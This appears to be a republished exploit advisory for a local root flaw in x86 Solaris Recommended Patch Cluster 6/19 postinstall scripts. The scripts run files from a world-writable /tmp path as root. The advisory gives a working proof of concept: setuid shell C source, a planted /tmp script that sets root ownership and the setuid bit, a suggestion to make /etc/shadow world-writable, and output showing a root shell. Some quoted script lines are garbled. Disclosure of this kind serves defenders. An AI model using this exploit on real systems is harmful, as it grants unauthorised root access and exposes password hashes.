Solaris Recommended Patch Cluster 6/19 Local root on x86 Exploit


Дата публикации:


Solaris Recommended Patch Cluster 6/19 local root on x86
Larry W. Cashdollar
If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.
Local root:
Write to /tmp/diskette_rc.d/ before execution and you can execute commands as root.
782 if [ -s /tmp/disketterc.d/ ] 783 then 784 /sbin/sh /tmp/disketterc.d/ "post" 785 fi
Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?
804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs) 805 TMPFILE=/tmp/ncrstmp 806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL E 807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases
656 if [ -s /tmp/disketterc.d/ ] 657 then 658 /sbin/sh /tmp/disketterc.d/ "post" 659 fi
Well, it looks like you've got a few chances to abuse it:
larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/" {} \; ./144501-19/SUNWos86r/install/postinstall ./141445-09/SUNWos86r/install/postinstall ./142059-01/SUNWos86r/install/postinstall ./147148-26/SUNWos86r/install/postinstall ./127128-11/SUNWos86r/install/postinstall ./148889-03/SUNWos86r/install/postinstall ./142910-17/SUNWos86r/install/postinstall ./144751-01/SUNWos86r/install/postinstall
Psuedo PoC:
Depending on how is created, we can either write to it repeatedly or just create the file initially with our malicious entry.
chmod 666 /etc/shadow would be easy.
larry@slowaris:~$ cat setuid.c
main (void)
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setregid (0, 0);
  setreuid (0, 0);
  execve ("/bin/sh", shell, NULL);
gcc -o /tmp/r00t setuid.c
larry@slowaris:~$ cat /tmp/diskette_rc.d/ chown root:root /tmp/r00t chmod +s /tmp/r00t
After patches have been applied:
larry@slowaris:~$ /tmp/r00t
# id
uid=0(root) gid=0(root)
или введите имя